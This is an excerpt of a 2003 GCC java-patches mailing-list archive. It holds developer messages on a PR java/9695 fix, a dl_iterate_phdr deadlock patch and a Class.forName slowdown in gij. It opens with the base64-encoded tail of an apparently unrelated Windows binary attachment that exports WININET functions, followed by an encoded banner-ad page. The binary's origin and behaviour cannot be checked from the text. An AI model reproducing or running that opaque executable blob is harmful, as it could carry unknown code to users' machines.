AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGsh5r+qIea/qiHmv1oX 5r/aGea/+Bfmv7xD5r+fQua/iyPmvwIs5r+mE+a/oSHmv48h5r99Iea/oSHmv7cX5r+tFua/ GhbmvyIb5r9bGOa/5xPmvwEV5r9kFea/FR3mv3QW5r99Iea/vCHmv1kh5r/FIea/AAAAAHUH pX1lJ6R9f66kfcefo31bv6R9Kaajfamoo32Jo6N9g6ijfTkKpH3ZkqN9MKijfWioo31o36h9 AAAAAA3J9r+Co/e/Sxr5v0Rg+L/1X/i/3OX3v0J+9r/cMPi/Pm/2v+Ux+L9/Tve/K8H3v0dz 9r8JFvm/EGr2vzVL+L92yve/hRX3vx/o+L8HS/i/cX/2vwl99r/Qcva/71/4vzRx9r8qu/a/ jEj2vxVu9r+e3/i/QSD5v3nP9r8fp/a//o/3v8929r9aFfm/m3j2v6lv9r8Tcfa/EXD2vxN/ 9r83bva/e7D3vwZG9785Q/a/EEP2v2ww+L9odfa/jEj2vxu89r9ccva/Hsr2v2hv9r/Fdfa/ 5372v4AT+b/9M/i/yCL5vwh79r/eGfm/UHn2v7Qf+b/uEvm/+XH2v+h69r8/f/a/HHj2v3Nx 9r9oIPm/eXD2v+d59r+YZPa/kXv2vy979r+QIPm/NRb5v0Kw+L/5s/e/exr5v55A978IIPe/ cnb2vy0Z+b/ozfi/lrz2v+hu9r+cbva/Z8/3v8h89r/Nmvm/8232v69t9r93D/m/tWj4v+IY +b+Abfa/qHb2v5Zy9r+OVfe/WeX3vwpz9r+Bc/a/oX32v2BD9r/24fa/nnX2vxO79r/uuva/ cwH3v6hJ9r/KGvi/iW/2v7N69r8aefa/LHT2v4N99r/udva/GxH5vzJ19r8UMfi/AAAAAPKK AngqFAB4JykBeJVDAXgHRAF4dagCeEdoAXjxGwB4zkMBeMREAXiMQgF4ffQAeLutAHjKUwJ4 ByEAeO8SAHhqEgJ4dxICeDcnAXjwYgF44iAAeJyIAnjYjwJ4NSYAeLgSAHgAEAB47RAAeMke AHhq9QB46h0AeHC7A3gxIQB4RkQAeAyyAHg/rAB4l48CeFdDAXgAAAAANBjof4UU6H8rFuh/ BRfof18V6H8AAAAAxC3AcGOOv3BDeb9wpTa/cAoIwHBUN79wPly/cBz0vnADQL9wx1+/cMy+ v3Dmv79whre/cNehwXANP79wsEC/cGZOv3Aym8BwEF6/cAttwXCjbcFwNtG/cC5twXBRbcFw z06/cEkxwXBBU8Fw1Da/cNE5v3BANb9wDca/cCbXv3DwQb9wNfO/cNJMv3A0Pr9wlzm/cGw2 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 GyUAACYlAAA4JQAAVCUAAHAlAACIJQAAoiUAALwlAADUJQAA6yUAAAYmAAAhJgAAOCYAAFEm AABqJgAAgSYAAJcmAACoJgAAvCYAAM8mAADiJgAA7iYAAPomAAAOJwAAIicAADEnAABAJwAA UicAAGQnAAB8JwAAlCcAAKAnAACtJwAAvCcAAMgnAADVJwAA4icAAO4nAAD7JwAABygAABso AAAvKAAAPigAAE0oAABlKAAAfSgAAJQoAACrKAAAwSgAANkoAADxKAAABykAACIpAAA9KQAA UykAAGgpAAB9KQAAkikAAKcpAAC7KQAAzykAAOUpAAD7KQAACyoAABsqAAAyKgAASSoAAGAq AABwKgAAgCoAAJEqAACiKgAAsSoAAMAqAADRKgAA5CoAAPcqAAAIKwAAJCsAADsrAABSKwAA aSsAAHorAACTKwAAqisAAMMrAADcKwAA9SsAAA4sAAA1LAAASSwAAF0sAABxLAAAjSwAAKos AADHLAAA2CwAAOksAAD7LAAADS0AACAtAAAzLQAAQC0AAE4tAABcLQAAfy0AAKItAACzLQAA yS0AAN8tAAD3LQAADC4AACIuAAA8LgAAWC4AAHUuAACSLgAApS4AALouAADPLgAA4i4AAP8u AAAcLwAAPi8AAGAvAABxLwAAgy8AAJUvAACkLwAAwy8AANsvAADpLwAA+i8AAAswAAAZMAAA NDAAAFAwAABlMAAAejAAAIswAACfMAAAszAAANUwAAD3MAAACjEAAB8xAAA0MQAARzEAAFwx AAByMQAAiDEAAJ8xAACyMQAAxzEAANwxAADvMQAAETIAADMyAABNMgAAaDIAAIMyAAChMgAA wDIAAN8yAAD6MgAAFjMAADIzAABLMwAAZTMAAH8zAACZMwAAqzMAAMAzAADVMwAA7TMAAAU0 AAAdNAAAMTQAAFw0AAB2NAAAkDQAAKg0AADFNAAA3TQAAPg0AAATNQAAMDUAAE01AABdNQAA dDUAAIs1AAChNQAAuDUAAM81AADlNQAA+zUAABY2AAAxNgAARzYAAFc2AABrNgAAfDYAAJc2 AACvNgAAyDYAAOE2AAD7NgAAFTcAAAUABgAMAA0ADgASABcAGAAZABoAGwAcAB0AHgAfACAA IQAiACMAJAAlACYAJwAoACkAKgArACwALQAuAC8AMAAxADIAMwA0ADUANgA3ADgAOQA6ADsA PAA9AD4APwBAAEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUQBSAFMAVABVAFYA VwBYAFkAWgBbAFwAXQBeAF8AYABhAGIAYwBkAGUAZgBnAGgAaQBqAGsAbABtAG4AbwBwAHEA cgBzAHQAdQB2AHcAeAB5AHoAewB8AH0AfgB/AIAAgQCCAIMAhACFAIYAhwCIAIkAigCLAIwA jQCOAI8AkACRAJIAkwCUAJUAlgCXAJgAmQCaAJsAnACdAJ4AnwCgAKEAogCjAKQApQCmAKcA qACpAKoAqwCsAK0ArgCvALAAsQCyALMAtAC1ALYAtwC4ALkAugC7ALwAvQC+AL8AwADBAMIA wwDEAMUAxgDHAMgAyQDKAMsAzADNAM4AzwDQANEA0gDTANQA1QDWANcA2ADZANoA2wDcAN0A 3gDfAOAA4QDiAOMA5ADlAOYA5wDoAOkA6gDrAOwA7QDuAO8A8AAAAAEAAgADAAQABwAIAAkA CgALAA8AEAARABMAFAAVABYAV0lOSU5FVC5kbGwAQ29tbWl0VXJsQ2FjaGVFbnRyeUEAQ29t bWl0VXJsQ2FjaGVFbnRyeVcAQ3JlYXRlTUQ1U1NPSGFzaABDcmVhdGVVcmxDYWNoZUNvbnRh aW5lckEAQ3JlYXRlVXJsQ2FjaGVDb250YWluZXJXAENyZWF0ZVVybENhY2hlRW50cnlBAENy ZWF0ZVVybENhY2hlRW50cnlXAENyZWF0ZVVybENhY2hlR3JvdXAARGVsZXRlSUUzQ2FjaGUA RGVsZXRlVXJsQ2FjaGVDb250YWluZXJBAERlbGV0ZVVybENhY2hlQ29udGFpbmVyVwBEZWxl dGVVcmxDYWNoZUVudHJ5AERlbGV0ZVVybENhY2hlRW50cnlBAERlbGV0ZVVybENhY2hlRW=9 --J53mO6j9B4999836zns01WATPw5S2l88Y --J53mO6j9B4999836zns01WATPw5S2l88Y Content-Type: application/octet-stream; name=mis;sz=120x60;tile=5;ord=1009390382[1].html Content-Transfer-Encoding: base64 Content-ID: PEhUTUw+PEJPRFk+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly9hZC5mci5kb3Vi bGVjbGljay5uZXQvY2xpY2s7MzY0NjQwODswLTA7MDs0ODQyMTI0OzYtMTIwfDYwOzB8MHww OzslM2ZodHRwOi8vbHljb3MuZnIuZG9tYWlubmFtZXMuY29tL2RlZmF1bHQuYXNwP2NhbGxl cj1tbWEyMTciPjxpbWcgc3JjPSJodHRwOi8vd3d3Lm11bHRpbWFuaWEuY29tL2RhcnRhZGEv cmVkaXIvYXV0b3Byby8xMjAvMTIwMS8xMjBfZG9tYWluc18xMjAxLmdpZiIgYm9yZGVyPTAg d2lkdGg9MTIwIGhlaWdodD02MCBhbHQ9IkNsaXF1ZXogaWNpICEiPjwvYT48L0JPRFk+PC9I VE1MPj== --J53mO6j9B4999836zns01WATPw5S2l88Y-- From java-patches-return-6304-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 20:50:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32058 invoked by alias); 28 Feb 2003 20:50:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32045 invoked from network); 28 Feb 2003 20:50:41 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Feb 2003 20:50:41 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA19349; Fri, 28 Feb 2003 13:50:40 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id CE60E4F8610; Fri, 28 Feb 2003 13:41:52 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Re: Patch: 3.3 fix for PR java/9695 References: <87u1eprq7b.fsf@fleche.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: MERYL STREEP is my obstetrician! Date: 28 Feb 2003 13:41:52 -0700 In-Reply-To: <87u1eprq7b.fsf@fleche.redhat.com> Message-ID: <873cm83zov.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Tom" == Tom Tromey writes: Tom> PR java/9695: Tom> * class.c (maybe_layout_super_class): Always pass a WFL to Tom> do_resolve_class. Andrew approved a slightly modified version off-list; I updated the comment describing do_resolve_class. I'm checking this in. Tom From java-patches-return-6305-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 12:26:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14362 invoked by alias); 1 Mar 2003 12:26:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14354 invoked from network); 1 Mar 2003 12:26:14 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 1 Mar 2003 12:26:14 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18p63f-0007ml-00; Sat, 01 Mar 2003 13:25:39 +0100 Subject: Re: dl_iterate_phdr() deadlock patch From: Mark Wielaard To: "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org'" In-Reply-To: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> References: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> Content-Type: text/plain Organization: Message-Id: <1046521565.19771.198.camel@elsschot> Mime-Version: 1.0 Date: 01 Mar 2003 13:26:05 +0100 Content-Transfer-Encoding: 7bit Hi, On Tue, 2003-02-25 at 21:19, Boehm, Hans wrote: > Request: could someone who has seen the dl_iterate_phdr() deadlocks > test this berfore I check it in? I was seeing this with the SyncTest running under gij and with Eclipse. Sadly Eclipse doesn't seem to run anymore with recent gcj, I haven't figured out yet what goes wrong, but it has nothing todo with this patch. SyncTest doesn't deadlock anymore with this patch. But for reasons outlined in http://gcc.gnu.org/ml/java/2003-01/msg00297.html this test is now so slow that it will always timeout. For my tests I decreased the counter from 1 milion to 100,000 (with 4 threads) and then it still takes 20 minutes to complete. But at least it completes. I am not sure what todo about the test. We can follow the suggestion of Jeff Sturm and move the SyncTest.class contruct out of the for loop. But the real problem is that a simple program like the following takes 0.050s with gij 3.2, but 21.410s(!) with gij 3.3 public class CFN { public static void main(String[] args) throws Exception { for (int i = 0; i < 5000; i++) Class.forName("CFN"); } } Need to investigate what contributes to this slowdown. Cheers, Mark From java-patches-return-6306-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 14:00:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10057 invoked by alias); 1 Mar 2003 14:00:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9952 invoked from network); 1 Mar 2003 13:59:59 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 1 Mar 2003 13:59:59 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-12.rdu.redhat.com [172.16.50.12]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 2D8DCABB05; Sat, 1 Mar 2003 13:59:57 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h21Dxjc13115; Sat, 1 Mar 2003 13:59:45 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15968.48328.609776.559450@cuddles.cambridge.redhat.com> Date: Sat, 1 Mar 2003 13:59:36 +0000 (GMT) To: Mark Wielaard Cc: "Boehm, Hans" , "'java-patches@gcc.gnu.org'" Subject: Re: dl_iterate_phdr() deadlock patch In-Reply-To: <1046521565.19771.198.camel@elsschot> References: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> <1046521565.19771.198.camel@elsschot> Mark Wielaard writes: > Hi, > > On Tue, 2003-02-25 at 21:19, Boehm, Hans wrote: > > Request: could someone who has seen the dl_iterate_phdr() deadlocks > > test this berfore I check it in? > > I was seeing this with the SyncTest running under gij and with Eclipse. > Sadly Eclipse doesn't seem to run anymore with recent gcj, I haven't > figured out yet what goes wrong, but it has nothing todo with this > patch. > > SyncTest doesn't deadlock anymore with this patch. But for reasons > outlined in http://gcc.gnu.org/ml/java/2003-01/msg00297.html this test > is now so slow that it will always timeout. For my tests I decreased the > counter from 1 milion to 100,000 (with 4 threads) and then it still > takes 20 minutes to complete. But at least it completes. > > I am not sure what todo about the test. We can follow the suggestion of > Jeff Sturm and move the SyncTest.class contruct out of the for loop. > > But the real problem is that a simple program like the following takes > 0.050s with gij 3.2, but > 21.410s(!) with gij 3.3 > > public class CFN > { > public static void main(String[] args) throws Exception > { > for (int i = 0; i < 5000; i++) > Class.forName("CFN"); > } > } > > Need to investigate what contributes to this slowdown. Class.forName wasn't standard compliant before in that it didn't use the caller's class loader. It does now. Compiled code takes 0.120s on my machine. Interpreted code takes about 40s. I think my libgcj was build with -O0. So, because the compiled code is 0.120s, the problem cannot be in the call to Class.forName(). However, Class.forName calls StackTrace.classAt(), which is more expensive for interpreted code. I have just noticed that _Unwind_IteratePhdrCallback() is calling linear_search_fdes. This is very bad. This should only ever happen if there is insufficient memory to allocate and sort an array. It seems like _Unwind_Find_registered_FDE is failing. I don't know why this is. However, even with all this weirdness, the fully compiled version is not terribly slow. I guess we need to profile the code. Althernatively, we could easily disable the call to StackTrace in Class.forName() and see what happens. Andrew. From java-patches-return-6307-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 14:43:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22706 invoked by alias); 1 Mar 2003 14:43:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22694 invoked from network); 1 Mar 2003 14:43:09 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 1 Mar 2003 14:43:09 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with 